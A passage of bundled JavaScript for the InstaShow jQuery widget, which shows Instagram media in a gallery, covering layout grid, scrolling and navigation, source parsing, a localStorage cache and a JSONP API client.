colorGalleryCounters: 'rgb(255, 255, 255)',
colorGalleryDescription: 'rgb(255, 255, 255)',
colorGalleryOverlay: 'rgba(33, 150, 243, 0.9)',
colorGalleryArrows: 'rgb(0, 142, 255)',
colorGalleryArrowsHover: 'rgb(37, 181, 255)',
colorGalleryArrowsBg: 'rgba(255, 255, 255, 0.9)',
colorGalleryArrowsBgHover: 'rgb(255, 255, 255)',
colorGalleryScrollbar: 'rgba(255, 255, 255, 0.5)',
colorGalleryScrollbarSlider: 'rgb(68, 68, 68)',
colorPopupOverlay: 'rgba(43, 43, 43, 0.9)',
colorPopupBg: 'rgb(255, 255, 255)',
colorPopupUsername: 'rgb(0, 142, 255)',
colorPopupUsernameHover: 'rgb(37, 181, 255)',
colorPopupInstagramLink: 'rgb(0, 142, 255)',
colorPopupInstagramLinkHover: 'rgb(37, 181, 255)',
colorPopupCounters: 'rgb(0, 0, 0)',
colorPopupPassedTime: 'rgb(152, 152, 152)',
colorPopupAnchor: 'rgb(0, 142, 255)',
colorPopupAnchorHover: 'rgb(37, 181, 255)',
colorPopupText: 'rgb(0, 0, 0)',
colorPopupControls: 'rgb(103, 103, 103)',
colorPopupControlsHover: 'rgb(255, 255, 255)',
colorPopupMobileControls: 'rgb(103, 103, 103)',
colorPopupMobileControlsBg: 'rgba(255, 255, 255, .8)',
tplError: null,
tplGalleryArrows: null,
tplGalleryCounter: null,
tplGalleryCover: null,
tplGalleryInfo: null,
tplGalleryLoader: null,
tplGalleryMedia: null,
tplGalleryScroll: null,
tplGalleryView: null,
tplGalleryWrapper: null,
tplPopupMedia: null,
tplPopupRoot: null,
tplPopupTwilight: null,
tplStyle: null
};
},{}],5:[function(require,module,exports){
"use strict";
var $ = require('./jquery'), Instashow = require('./instashow'), Core = require('./core'), Api = require('./api'), defaults = require('./defaults');
var id = 0;
var initialize = function (element, options) {
var core = new Core($(element), options, ++id);
$.data(element, 'instaShow', new Api(core));
};
$.fn.instaShow = function (options) {
this.each(function (i, element) {
var instance = $.data(element, 'instaShow');
if (!instance) {
$.data(element, 'instaShow', initialize(element, options));
}
});
return this;
};
$.instaShow = function (context) {
$('[data-is]', context).each(function (i, item) {
var $item = $(item);
var options = {};
$.each(defaults, function (name) {
var attrName = 'data-is-' + name.replace(/([A-Z])/g, function (l) {
return '-' + l.toLowerCase();
});
var val = $item.attr(attrName);
if ($.type(val) !== 'undefined' && val !== '') {
if (val === 'true') {
val = true;
} else if (val === 'false') {
val = false;
}
options[name] = val;
}
});
$item.instaShow($.extend(false, {}, defaults, options));
});
};
$(function () {
var readyFunc = window['onInstaShowReady'];
if (readyFunc && $.type(readyFunc) === 'function') {
readyFunc();
}
$(window).trigger('instaShowReady');
$.instaShow(window.document.body);
});
},{"./api":1,"./core":3,"./defaults":4,"./instashow":20,"./jquery":21}],6:[function(require,module,exports){
"use strict";
var $ = require('./jquery'), u = require('./u'), views = require('./views'), Grid = require('./grid'), translations = require('./translations'), moveControl = require('./move-control'), Scrollbar = require('./scrollbar'), Loader = require('./loader'), AutoRotator = require('./auto-rotator');
var $w = $(window);
var Gallery = function (core) {
var self = this;
self.core = core;
self.options = core.options;
self.translations = translations;
self.mediaList = [];
self.classes = {};
self.storage = {};
self.infoTypes = null;
self.grid = null;
self.scrollbar = null;
self.loader = null;
self.autoRotator = null;
self.breakpoints = [];
self.prevBreakpoint = null;
self.defaultBreakpoing = null;
self.currentBreakpoint = null;
self.limit = null;
self.$mediaList = $();
self.$viewsList = $();
self.$root = core.$element;
self.$wrapper = null;
self.$container = null;
self.busy = false;
self.drag = false;
self.activeViewId = -1;
self.translationPrevProgress = 0;
self.progress = 0;
self.isTranslating = false;
self.viewsCastled = false;
self.initialize();
};
Gallery.prototype = function () {
};
$.extend(Gallery, {
INFO_TYPES: [
'description',
'commentsCounter',
'likesCounter'
]
});
$.extend(Gallery.prototype, {
constructor: Gallery,
initialize: function () {
var self = this;
self.limit = Math.abs(parseInt(self.options.limit, 10));
self.$wrapper = $(views.gallery.wrapper());
self.$container = self.$wrapper.children().first();
self.$root.append(self.$wrapper);
self.defaultBreakpoing = {
columns: self.options.columns,
rows: self.options.rows,
gutter: self.options.gutter
};
if (self.options.responsive) {
if ($.type(self.options.responsive) === 'string') {
self.options.responsive = JSON.parse(decodeURIComponent(self.options.responsive));
}
if ($.isPlainObject(self.options.responsive)) {
$.each(self.options.responsive, function (minWidth, grid) {
minWidth = parseInt(minWidth, 10);
self.breakpoints.push($.extend(false, {}, grid, { minWidth: minWidth }));
});
self.breakpoints = self.breakpoints.sort(function (a, b) {
if (a.minWidth < b.minWidth) {
return -1;
} else if (a.minWidth > b.minWidth) {
return 1;
} else {
return 0;
}
});
}
}
self.grid = new Grid(self.$root, {
width: self.options.width,
height: self.options.height,
columns: self.options.columns,
rows: self.options.rows,
gutter: self.options.gutter
});
self.updateBreakpoint();
self.$root.width(self.options.width).height(self.options.height);
self.scrollbar = new Scrollbar(self);
if (self.options.arrowsControl) {
self.$root.append(views.gallery.arrows());
self.$arrowPrevious = self.$root.find('.instashow-gallery-control-arrow-previous');
self.$arrowNext = self.$root.find('.instashow-gallery-control-arrow-next');
}
self.$root.attr('id', 'instaShowGallery_' + self.core.id);
self.loader = new Loader(self.$root, $(views.gallery.loader()));
self.defineClasses();
self.watch();
self.fit();
self.addView().done(function (id) {
self.setActiveView(id);
self.$root.trigger('initialized.instaShow', [self.$root]);
}).fail(function () {
self.showEmpty();
});
self.autoRotator = new AutoRotator(self);
},
showEmpty: function () {
var self = this;
var empty = views.gallery.empty({ message: self.core.lang.t('There are no images yet.') });
self.$root.append(empty);
},
getMediaIdByNativeId: function (nativeId) {
var self = this;
var mediaId = -1;
$.each(self.mediaList, function (i, media) {
if (mediaId !== -1) {
return;
}
if (media.id === nativeId) {
mediaId = i;
}
});
return mediaId;
},
setProgress: function (progress) {
var self = this;
self.progress = progress;
self.$root.trigger('progressChanged.instaShow', [progress]);
},
getProgressByOffset: function (offset) {
var self = this;
return offset / self.getGlobalThreshold();
},
puzzle: function () {
var self = this;
self.busy = true;
},
free: function () {
var self = this;
self.busy = false;
},
isBusy: function () {
var self = this;
return self.busy;
},
isHorizontal: function () {
var self = this;
return self.options.direction && self.options.direction.toLowerCase() === 'horizontal';
},
isFreeMode: function () {
var self = this;
return !!self.options.freeMode && self.options.effect === 'slide';
},
hasView: function (id) {
var self = this;
return id >= 0 && id <= self.$viewsList.length - 1;
},
hasNextView: function () {
var self = this;
return self.hasView(self.activeViewId + 1) || (!self.limit || self.mediaList.length < self.limit) && self.core.mediaFetcher.hasNext();
},
hasPreviousView: function () {
var self = this;
return self.hasView(self.activeViewId - 1);
},
setActiveView: function (id, force) {
var self = this;
if (!self.hasView(id) || !force && id === self.activeViewId) {
return;
}
var $current = self.$viewsList.eq(id);
self.$viewsList.removeClass('instashow-gallery-view-active instashow-gallery-view-active-prev instashow-gallery-view-active-next');
$current.addClass('instashow-gallery-view-active');
$current.prev().addClass('instashow-gallery-view-active-prev');
$current.next().addClass('instashow-gallery-view-active-next');
self.activeViewId = id;
self.$root.trigger('activeViewChanged.instaShow', [
id,
$current
]);
return true;
},
defineClasses: function () {
var self = this;
var defaultClasses = self.$root.attr('class');
if (defaultClasses) {
defaultClasses = defaultClasses.split(' ');
$.each(defaultClasses, function (i, cl) {
self.classes[cl] = true;
});
}
self.classes['instashow'] = true;
self.classes['instashow-gallery'] = true;
self.classes['instashow-gallery-horizontal'] = self.isHorizontal();
self.classes['instashow-gallery-vertical'] = !self.classes['instashow-gallery-horizontal'];
self.classes['instashow-gallery-' + self.options.effect] = true;
self.updateClasses();
},
updateClasses: function () {
var self = this;
var classes = [];
$.each(self.classes, function (cl, enabled) {
if (enabled) {
classes.push(cl);
}
});
self.$root.attr('class', classes.join(' '));
},
getInfoTypes: function () {
var self = this;
var types;
if (!self.infoTypes) {
types = u.unifyMultipleOption(self.options.info);
if (types) {
self.infoTypes = types.filter(function (t) {
return !!~self.constructor.INFO_TYPES.indexOf(t);
});
}
}
return self.infoTypes;
},
updateBreakpoint: function (rebuild) {
var self = this;
var newBreakpoint;
var windowWidth = $w.innerWidth();
$.each(self.breakpoints, function (i, breakpoint) {
if (newBreakpoint) {
return;
}
if (windowWidth <= breakpoint.minWidth) {
newBreakpoint = breakpoint;
}
});
if (!newBreakpoint) {
newBreakpoint = self.defaultBreakpoing;
}
if (newBreakpoint !== self.currentBreakpoint) {
self.prevBreakpoint = self.currentBreakpoint;
self.currentBreakpoint = newBreakpoint;
self.grid.columns = parseInt(self.currentBreakpoint.columns || self.defaultBreakpoing.columns, 10);
self.grid.rows = parseInt(self.currentBreakpoint.rows || self.defaultBreakpoing.rows, 10);
self.grid.gutter = parseInt(self.currentBreakpoint.gutter || self.defaultBreakpoing.gutter, 10);
if (rebuild) {
self.grid.calculate();
self.rebuildViews(true);
}
}
},
fit: function () {
var self = this;
self.updateBreakpoint(true);
self.grid.calculate();
var freeOffset;
if (self.grid.autoHeight) {
self.$root.height(self.grid.height);
}
var fontSize = self.grid.cellSize / 100 * 7;
if (fontSize > 14) {
fontSize = 14;
}
self.$wrapper.width(self.grid.width).height(self.grid.height);
self.$viewsList.css({
width: self.grid.viewWidth,
height: self.grid.viewHeight,
margin: self.grid.viewMoatVertical + 'px ' + self.grid.viewMoatHorizontal + 'px',
padding: self.grid.gutter / 2
});
self.$mediaList.css({
width: self.grid.cellSize,
height: self.grid.cellSize,
padding: self.grid.gutter / 2,
fontSize: fontSize
});
if (self.options.effect === 'slide') {
if (self.isHorizontal()) {
self.$container.width(self.$viewsList.length * self.grid.width);
} else {
self.$container.height(self.$viewsList.length * self.grid.height);
}
}
self.fitDescription(self.activeViewId);
self.updateClasses();
},
rebuildViews: function (reset) {
var self = this;
self.$container.empty();
self.$viewsList = $();
var cellsCount = self.grid.countCells();
var viewsCount = Math.ceil(self.$mediaList.length / cellsCount);
for (var i = 0; i < viewsCount; ++i)
(function ($viewMediaList) {
var $view = $(views.gallery.view());
$viewMediaList.removeClass('instashow-gallery-media-loaded');
$viewMediaList.appendTo($view);
$viewMediaList.filter(function (item) {
return !!$('img[src!=""]', this).length;
}).addClass('instashow-gallery-media-loaded');
self.$viewsList = self.$viewsList.add($view.appendTo(self.$container));
}(self.$mediaList.slice(i * cellsCount, (i + 1) * cellsCount)));
self.fitImages();
if (reset) {
self.viewsRebuilded = true;
self.setProgress(0);
self.setActiveView(0, true);
self.translate(0);
} else {
self.viewsRebuilded = false;
}
},
fitDescription: function (id) {
var self = this;
if (!self.hasView(id)) {
return;
}
var $view = self.$viewsList.eq(id);
var $info = $view.find('.instashow-gallery-media-info');
var $description = $view.find('.instashow-gallery-media-info-description');
var lh = parseInt($description.css('line-height'));
if (!$description.length) {
return;
}
$description.css('max-height', '');
$info.height($info.css('max-height'));
var descriptionHeight = $info.height() - $description.position().top - parseFloat($description.css('margin-top'));
var lines = Math.floor(descriptionHeight / lh);
var maxHeight = (lines - 1) * lh;
$info.height('');
$description.each(function (i, item) {
var $item = $(item);
if ($item.height() > maxHeight) {
$item.css({ maxHeight: maxHeight });
$item.parent().addClass('instashow-gallery-media-info-cropped');
}
});
},
fitImages: function ($view) {
var self = this;
$view = $view || self.$viewsList;
var $images = $view.find('img');
$images.each(function (i, item) {
var $item = $(item);
var $media = $item.closest('.instashow-gallery-media');
var id = $media.attr('data-is-media-id');
var media = self.storage['instaShow#' + self.core.id + '_media#' + id];
$item.attr('src', self.grid.cellSize > 210 ? media.images.standard_resolution.url : media.images.low_resolution.url);
$item.one('load', function () {
$media.addClass('instashow-gallery-media-loaded');
});
});
},
addView: function (q) {
var self = this;
q = q || $.Deferred();
if (!self.core.mediaFetcher.hasNext()) {
q.reject();
} else {
self.puzzle();
self.loader.show(400);
self.core.mediaFetcher.fetch(self.grid.countCells()).done(function (list) {
self.free();
self.loader.hide();
if (!list || !list.length) {
q.reject();
return;
}
var $view = $(views.gallery.view());
$.each(list, function (i, media) {
if (self.limit && self.mediaList.length === self.limit) {
return;
}
var $media = $(views.gallery.media(media));
var $mediaInner = $media.children().first();
if (self.setMediaInfo($mediaInner, media)) {
self.setMediaCover($mediaInner);
}
$media.attr('data-is-media-id', media.id);
self.storage['instaShow#' + self.core.id + '_media#' + media.id] = media;
$media.addClass('instashow-gallery-media-' + media.getImageOrientation());
if (media.type === 'video') {
$media.addClass('instashow-gallery-media-video');
}
self.mediaList.push(media);
self.$mediaList = self.$mediaList.add($media.appendTo($view));
});
self.$viewsList = self.$viewsList.add($view.appendTo(self.$container));
var id = self.$viewsList.length - 1;
self.$root.trigger('viewAdded.instaShow', [
id,
$view
]);
setTimeout(function () {
q.resolve(id, $view);
});
});
}
return q.promise();
},
setMediaCover: function ($mediaInner) {
var self = this;
var $cover = $(views.gallery.cover({ type: 'plain' }));
$cover.prependTo($mediaInner);
},
setMediaInfo: function ($mediaInner, media) {
var self = this;
var infoTypes = self.getInfoTypes();
if (!infoTypes || !infoTypes.length) {
return false;
}
var $info;
var tplData = {
options: {},
info: {
likesCount: media.getLikesCount(),
commentsCount: media.getCommentsCount(),
description: media.caption ? media.caption.text : null
}
};
$.each(infoTypes, function (i, item) {
tplData.options[item] = true;
});
tplData.options.hasDescription = tplData.options.description && media.caption;
if (infoTypes.length > 1 || tplData.options.description) {
if (infoTypes.length === 1 && !tplData.options.hasDescription) {
return false;
}
$info = $('<div></div>');
$info.html(views.gallery.info(tplData));
$info = $info.unwrap();
} else {
switch (infoTypes[0]) {
case 'likesCounter':
tplData.icon = 'like';
tplData.value = tplData.info.likesCount;
break;
case 'commentsCounter':
tplData.icon = 'comment';
tplData.value = tplData.info.commentsCount;
break;
}
$info = $(views.gallery.counter(tplData));
}
$info.prependTo($mediaInner);
return true;
},
getViewStartProgress: function ($view) {
var self = this;
var id = self.$viewsList.index($view);
if (!~id) {
return -1;
}
return id === 0 ? 0 : 1 / (self.$viewsList.length - 1) * id;
},
getViewIdByProgress: function (progress) {
var self = this;
var lastViewId = self.$viewsList.length - 1;
if (progress <= 0) {
return 0;
} else if (progress >= 1) {
return lastViewId;
}
return Math.round(lastViewId * progress);
},
getActiveView: function () {
var self = this;
return self.$viewsList.eq(self.activeViewId);
},
getGlobalThreshold: function () {
var self = this;
return (self.$viewsList.length - 1) * self.getThreshold();
},
getThreshold: function () {
var self = this;
return self.isHorizontal() ? self.grid.width : self.grid.height;
},
translate: function (progress, smoothly, movement, q) {
var self = this;
smoothly = !!smoothly;
movement = movement || 1;
q = q || $.Deferred();
var effect = self.options.effect ? self.options.effect.toLowerCase() : 'sharp';
var func = self.translations[effect] || self.translations['sharp'];
if (!func) {
self.core.showError('Translating effect "' + effect + '" is undefined.');
return;
}
self.isTranslating = true;
func.call(self, progress, smoothly, movement, q);
q.done(function () {
self.isTranslating = false;
self.$root.trigger('translationEnded.instaShow');
});
return q.promise();
},
getAdjustedProgress: function (prevViewsCount, oldProgress) {
var self = this;
if (oldProgress === 0) {
return 0;
}
var offset, progress;
if (self.options.effect === 'slide') {
offset = oldProgress * prevViewsCount * self.getThreshold();
progress = offset / self.getGlobalThreshold();
} else {
progress = oldProgress * prevViewsCount / (self.$viewsList.length - 1);
}
return progress;
},
moveToNextView: function () {
var self = this;
var q = $.Deferred();
var nextId = self.activeViewId + 1;
if (self.isBusy()) {
q.reject();
} else {
if (!self.hasView(nextId) && self.hasNextView(nextId)) {
self.addView().done(function () {
self.moveToView(nextId, q);
}).fail(function () {
q.reject();
});
} else {
self.moveToView(nextId, q);
}
}
q.always(function () {
self.updateArrows();
});
return q.promise();
},
moveToPreviousView: function () {
var self = this;
return self.moveToView(self.activeViewId - 1);
},
moveToView: function (id, q) {
var self = this;
var progress;
var q = q || $.Deferred();
if (self.isBusy() || !self.hasView(id)) {
q.reject();
} else {
progress = self.getViewStartProgress(self.$viewsList.eq(id));
self.puzzle();
self.translate(progress, true).done(function () {
self.free();
q.resolve();
});
self.setProgress(progress);
self.setActiveView(id);
}
return q.promise();
},
watchScroll: function () {
var self = this;
var scrolling;
self.$root.on('wheel', function (e) {
e = e.originalEvent || e;
e.preventDefault();
e.stopPropagation();
if (scrolling || self.isBusy()) {
return;
}
var scrollDistance, progress, targetViewId;
var delta = e.wheelDelta / 40 || -(Math.abs(e.deltaX) > Math.abs(e.deltaY) ? e.deltaX : e.deltaY);
var dir = delta > 0 ? -1 : 1;
if (dir === 1 && !self.hasView(self.activeViewId + 1) && self.hasNextView()) {
self.addView().done(function () {
if (!self.isFreeMode()) {
self.moveToNextView();
}
});
return;
}
if (self.isFreeMode()) {
scrollDistance = -delta * self.getThreshold() * 0.02;
progress = self.progress + scrollDistance / self.getGlobalThreshold();
self.setActiveView(self.getViewIdByProgress(progress));
progress = self.progress + scrollDistance / self.getGlobalThreshold();
if (progress > 1) {
progress = 1;
} else if (progress < 0) {
progress = 0;
}
self.translate(progress);
self.setProgress(progress);
} else {
if (Math.abs(delta) < 0.75) {
return;
}
scrolling = true;
if (dir === 1) {
targetViewId = self.activeViewId + 1;
} else {
targetViewId = self.activeViewId - 1;
}
if (!self.hasView(targetViewId)) {
scrolling = false;
return;
}
self.moveToView(targetViewId).done(function () {
scrolling = false;
});
}
});
},
castleViews: function () {
var self = this;
if (self.viewsCastled) {
return;
}
self.viewsCastled = true;
self.$root.on('translationEnded.instaShow.castleViews', function () {
if (self.progress !== 1) {
return;
}
self.$root.off('translationEnded.instaShow.castleViews');
var $lastClone = self.$viewsList.last().clone();
var $firstClone = self.$viewsList.first().clone();
$().add($lastClone).add($firstClone).addClass('instashow-gallery-view-diplicate');
self.$viewsList = $().add($lastClone.prependTo(self.$container)).add(self.$viewsList).add($firstClone.appendTo(self.$container));
var viewStartProgress = self.getViewStartProgress(self.$viewsList.eq(self.activeViewId + 1));
self.setActiveView(self.activeViewId + 1);
self.setProgress(viewStartProgress);
self.translate(viewStartProgress, false);
self.fitImages($lastClone);
self.fitImages($firstClone);
self.fit();
self.$root.on('translationEnded.instaShow.castleViews', function () {
var targetViewId, viewStartProgress;
if (self.progress === 0) {
targetViewId = self.$viewsList.length - 2;
} else if (self.progress === 1) {
targetViewId = 1;
} else {
return;
}
viewStartProgress = self.getViewStartProgress(self.$viewsList.eq(targetViewId));
self.setActiveView(targetViewId);
self.setProgress(viewStartProgress);
if (self.core.options.effect === 'fade') {
self.$viewsList.css('opacity', 0);
}
self.translate(viewStartProgress, false);
});
});
},
updateArrows: function () {
var self = this;
if (self.options.arrowsControl) {
self.$arrowNext.toggleClass('instashow-gallery-control-arrow-disabled', !self.viewsCastled && !self.hasNextView());
self.$arrowPrevious.toggleClass('instashow-gallery-control-arrow-disabled', !self.viewsCastled && !self.hasPreviousView());
}
},
watch: function () {
var self = this;
self.$root.on('initialized.instaShow', function () {
self.fit();
}).on('activeViewChanged.instaShow', function (e, id) {
if (self.core.options.loop && !self.isFreeMode() && !self.viewsCastled && (self.limit && self.mediaList.length >= self.limit || !self.core.mediaFetcher.hasNext())) {
self.castleViews();
}
self.updateArrows();
}).on('viewAdded.instaShow', function (e, id, $view) {
if (self.$viewsList.length !== 1 && self.$viewsList.length - 1 === id) {
self.$viewsList.eq(id).addClass('instashow-gallery-view-active-next');
}
if (self.viewsRebuilded) {
self.rebuildViews();
}
self.translationPrevProgress = self.getAdjustedProgress(id - 1, self.translationPrevProgress);
var progress = self.getAdjustedProgress(id - 1, self.progress);
if (self.options.effect === 'slide' || id == 0) {
self.translate(progress, false);
}
self.setProgress(progress);
self.fit();
self.fitImages($view);
self.fitDescription(id);
});
$w.resize(function () {
self.fit();
self.fitImages();
self.translate(self.progress, false);
});
if (self.options.scrollControl) {
self.watchScroll();
}
moveControl(self).watch();
if (self.options.arrowsControl) {
self.$arrowPrevious.on('click touchend', function () {
if (self.drag) {
return;
}
self.moveToPreviousView();
});
self.$arrowNext.on('click touchend', function () {
if (self.drag) {
return;
}
self.moveToNextView();
});
}
if (self.options.mode === 'popup') {
self.$root.on('click', '.instashow-gallery-media', function (e) {
if (self.drag) {
return;
}
e.preventDefault();
e.stopPropagation();
var id = $(this).attr('data-is-media-id');
var media = self.storage['instaShow#' + self.core.id + '_media#' + id];
self.core.popup.open(media);
});
}
}
});
module.exports = Gallery;
},{"./auto-rotator":2,"./grid":7,"./jquery":21,"./loader":23,"./move-control":24,"./scrollbar":26,"./translations":27,"./u":28,"./views":29}],7:[function(require,module,exports){
"use strict";
var $ = require('./jquery');
var Grid = function ($element, options) {
var self = this;
self.$element = $element;
self.options = options;
self.width = null;
self.height = null;
self.columns = Math.floor(self.options.columns) || 0;
self.rows = Math.floor(self.options.rows) || 0;
self.gutter = Math.floor(self.options.gutter) || 0;
self.ratio = null;
self.viewWidth = null;
self.viewRatio = null;
self.cellSize = null;
self.viewMoatHorizontal = null;
self.viewMoatVertical = null;
self.initialize();
};
Grid.prototype = function () {
};
$.extend(Grid.prototype, {
initialize: function () {
var self = this;
self.autoHeight = !self.options.height || self.options.height === 'auto';
},
calculate: function () {
var self = this;
self.width = self.$element.width();
self.viewRatio = self.columns / self.rows;
if (self.autoHeight) {
self.height = self.width / self.viewRatio;
self.ratio = self.viewRatio;
} else {
self.height = self.$element.height();
self.ratio = self.width / self.height;
}
if (self.ratio > 1) {
if (self.viewRatio <= 1 || self.viewRatio < self.ratio) {
self.viewHeight = self.height;
self.viewWidth = Math.floor(self.viewHeight * self.viewRatio);
} else {
self.viewWidth = self.width;
self.viewHeight = Math.floor(self.viewWidth / self.viewRatio);
}
} else {
if (self.viewRatio >= 1 || self.viewRatio > self.ratio) {
self.viewWidth = self.width;
self.viewHeight = Math.floor(self.viewWidth / self.viewRatio);
} else {
self.viewHeight = self.height;
self.viewWidth = Math.floor(self.viewHeight * self.viewRatio);
}
}
if (self.autoHeight) {
self.cellSize = (self.viewWidth - self.gutter) / self.columns;
self.height = self.viewHeight = self.cellSize * self.rows + self.gutter;
self.viewWidth = self.cellSize * self.columns + self.gutter;
} else {
if (self.viewRatio > 1) {
self.cellSize = (self.viewHeight - self.gutter) / self.rows;
} else {
self.cellSize = (self.viewWidth - self.gutter) / self.columns;
}
self.viewWidth = self.cellSize * self.columns + self.gutter;
self.viewHeight = self.cellSize * self.rows + self.gutter;
}
self.viewMoatHorizontal = (self.width - self.viewWidth) / 2;
self.viewMoatVertical = (self.height - self.viewHeight) / 2;
},
countCells: function () {
var self = this;
return self.columns * self.rows;
}
});
module.exports = Grid;
},{"./jquery":21}],8:[function(require,module,exports){
"use strict";
var $ = require('./jquery'), Client = require('./instapi/client'), CacheProvider = require('./instapi/cache-provider'), UserMediaFetcher = require('./instapi/user-media-fetcher'), TagMediaFetcher = require('./instapi/tag-media-fetcher'), ComplexMediaFetcher = require('./instapi/complex-media-fetcher'), SpecificMediaFetcher = require('./instapi/specific-media-fetcher'), LocationMediaFetcher = require('./instapi/location-media-fetcher');
var Instapi = function (core, options, id) {
var self = this;
self.core = core;
self.options = options;
self.id = id;
self.client = null;
self.cacheProvider = null;
self.initialize();
};
$.extend(Instapi, {
SOURCE_DETERMINANTS: [
{
type: 'user',
regex: /^@([^$]+)$/,
index: 1
},
{
type: 'tag',
regex: /^#([^$]+)$/,
index: 1
},
{
type: 'specific_media_id',
regex: /^\$(\d+_\d+)$/,
index: 1
},
{
type: 'specific_media_shortcode',
regex: /^\$([^$]+)$/i,
index: 1
},
{
type: 'user',
regex: /^https?\:\/\/(www\.)?instagram.com\/([^\/]+)\/?(\?[^\$]+)?$/,
index: 2
},
{
type: 'tag',
regex: /^https?\:\/\/(www\.)?instagram.com\/explore\/tags\/([^\/]+)\/?(\?[^\$]+)?$/,
index: 2
},
{
type: 'specific_media_shortcode',
regex: /^https?\:\/\/(www\.)?instagram.com\/p\/([^\/]+)\/?(\?[^\$]+)?$/,
index: 2
},
{
type: 'location',
regex: /^https?\:\/\/(www\.)?instagram.com\/explore\/locations\/([^\/]+)\/?[^\/]*\/?(\?[^\$]+)?$/,
index: 2
}
],
createScheme: function (list) {
var scheme = [];
if ($.type(list) !== 'array' || !list.length) {
return scheme;
}
$.each(list, function (i, item) {
if ($.type(item) !== 'string') {
return;
}
var type, name;
$.each(Instapi.SOURCE_DETERMINANTS, function (d, determinant) {
if (type) {
return;
}
var matches = item.match(determinant.regex);
if (matches && matches[determinant.index]) {
type = determinant.type;
name = matches[determinant.index];
}
});
if (!type) {
return;
}
if (type !== 'specific_media_shortcode') {
name = name.toLowerCase();
}
scheme.push({
type: type,
name: name
});
});
return scheme;
},
parseAnchors: function (str) {
str = str.replace(/(https?\:\/\/[^$\s]+)/g, function (url) {
return '<a href="' + url + '" target="_blank" rel="nofollow">' + url + '</a>';
});
str = str.replace(/(@|#)([^\s#@]+)/g, function (str, type, name) {
var uri = '';
switch (type) {
case '@':
uri = 'https://instagram.com/' + name + '/';
break;
case '#':
uri = 'https://instagram.com/explore/tags/' + name + '/';
break;
default:
return str;
}
return '<a href="' + uri + '" target="_blank" rel="nofollow">' + str + '</a>';
});
return str;
}
});
Instapi.prototype = function () {
};
$.extend(Instapi.prototype, {
initialize: function () {
var self = this;
self.cacheProvider = new CacheProvider(self.id);
self.client = new Client(self, self.options, self.cacheProvider);
},
isSandbox: function () {
var self = this;
return !self.client.isAlternativeApi() && self.options.accessToken && !self.options.source;
},
createMediaFetcher: function (source, filter, postFilter) {
var self = this;
if ($.type(source) !== 'array' || !source.length) {
return;
}
if ($.type(postFilter) === 'string' && $.type(window[postFilter]) === 'function') {
postFilter = window[postFilter];
}
var sourceScheme = Instapi.createScheme(source);
if (!sourceScheme || !sourceScheme.length) {
return;
}
var filtersScheme = [];
if (filter && $.isPlainObject(filter)) {
$.each(filter, function (type, values) {
if (!values || !values.length) {
return;
}
var scheme = Instapi.createScheme(values);
$.each(scheme, function (i, item) {
item.logic = type;
});
Array.prototype.push.apply(filtersScheme, scheme);
});
}
var mediaFetcher;
var fetchers = [];
$.each(sourceScheme, function (i, origin) {
var fetcher;
switch (origin.type) {
default:
break;
case 'tag':
fetcher = new TagMediaFetcher(self.client, origin.name, filtersScheme, postFilter);
break;
case 'location':
fetcher = new LocationMediaFetcher(self.client, origin.name, filtersScheme, postFilter);
break;
case 'user':
fetcher = new UserMediaFetcher(self.client, origin.name, filtersScheme, postFilter);
break;
case 'specific_media_id':
case 'specific_media_shortcode':
fetcher = new SpecificMediaFetcher(self.client, origin.type, origin.name, filtersScheme, postFilter);
break;
}
fetchers.push(fetcher);
});
if (fetchers.length > 1) {
return new ComplexMediaFetcher(fetchers);
} else {
return fetchers[0];
}
}
});
module.exports = Instapi;
},{"./instapi/cache-provider":9,"./instapi/client":10,"./instapi/complex-media-fetcher":11,"./instapi/location-media-fetcher":12,"./instapi/specific-media-fetcher":16,"./instapi/tag-media-fetcher":17,"./instapi/user-media-fetcher":18,"./jquery":21}],9:[function(require,module,exports){
"use strict";
var $ = require('../jquery');
var CacheProvider = function (id) {
var self = this;
self.id = id;
self.supports = !!window.localStorage;
};
CacheProvider.prototype = function () {
};
$.extend(CacheProvider.prototype, {
set: function (key, expired, value) {
var self = this;
if (!self.supports) {
return false;
}
try {
localStorage.setItem(key, JSON.stringify({
cacheTime: expired,
expired: Date.now() / 1000 + expired,
value: value
}));
return true;
} catch (e) {
localStorage.clear();
return false;
}
},
get: function (key, cacheTime) {
var self = this;
if (!self.supports) {
return false;
}
var data = localStorage.getItem(key);
data = data ? JSON.parse(data) : null;
if (data && cacheTime === data.cacheTime && data.expired > Date.now() / 1000) {
return data.value;
}
localStorage.removeItem(key);
return null;
},
has: function (key, cacheTime) {
var self = this;
return !!self.get(key, cacheTime);
}
});
module.exports = CacheProvider;
},{"../jquery":21}],10:[function(require,module,exports){
"use strict";
var $ = require('../jquery'), u = require('../u');
var Client = function (instapi, options, cacheProvider) {
var self = this;
self.instapi = instapi;
self.options = options;
self.cacheProvider = cacheProvider;
self.authorized = false;
self.clientId = options.clientId;
self.accessToken = options.accessToken;
self.displayErrors = true;
self.lastErrorMessage = null;
self.initialize();
};
$.extend(Client, { API_URI: 'https://api.instagram.com/v1' });
Client.prototype = function () {
};
$.extend(Client.prototype, {
initialize: function () {
var self = this;
if (self.accessToken) {
self.authorized = true;
} else if (!self.clientId) {
}
},
getApiUrl: function () {
var self = this;
if (self.options.api) {
return self.options.api;
}
return Client.API_URI;
},
isAlternativeApi: function () {
var self = this;
return self.getApiUrl() != Client.API_URI;
},
send: function (path, params, options, expired) {
var self = this;
params = params || {};
options = options || {};
expired = $.type(expired) === 'undefined' ? 0 : parseInt(expired, 10) || 0;
var q = $.Deferred();
var pathParams = u.parseQuery(path);
params = $.extend(false, {}, pathParams, params);
path = path.replace(self.getApiUrl(), '').replace(/\?.+$/, '');
if (!self.isAlternativeApi()) {
if (self.accessToken) {
params.access_token = self.accessToken;
}
if (self.clientId) {
params.client_id = self.clientId;
}
}
if (params.callback) {
params.callback = null;
}
var url;
if (self.isAlternativeApi()) {
params.path = '/v1' + path.replace('/v1', '');
url = self.getApiUrl() + '?' + $.param(params);
} else {
url = self.getApiUrl() + path + '?' + $.param(params);
}
options = $.extend(false, {}, options, {
url: url,
dataType: 'jsonp',
type: options.type || 'get'
});
if (options.type === 'get' && expired && self.cacheProvider.has(url, expired)) {
q.resolve(self.cacheProvider.get(url, expired));
} else {
$.ajax(options).done(function (res) {
if (res.meta.code !== 200) {
self.lastErrorMessage = res.meta.error_message;
if (self.displayErrors) {
self.instapi.core.showError(res.meta.error_message);
}
q.reject();
} else {
self.cacheProvider.set(url, expired, res);
q.resolve(res);
}
});
}
return q.promise();
},
get: function (path, params, options, expired) {
var self = this;
options = $.extend(false, options, { type: 'get' });
return self.send(path, params, options, expired);
},
setDisplayErrors: function (v) {
var self = this;
self.displayErrors = !!v;
}
});
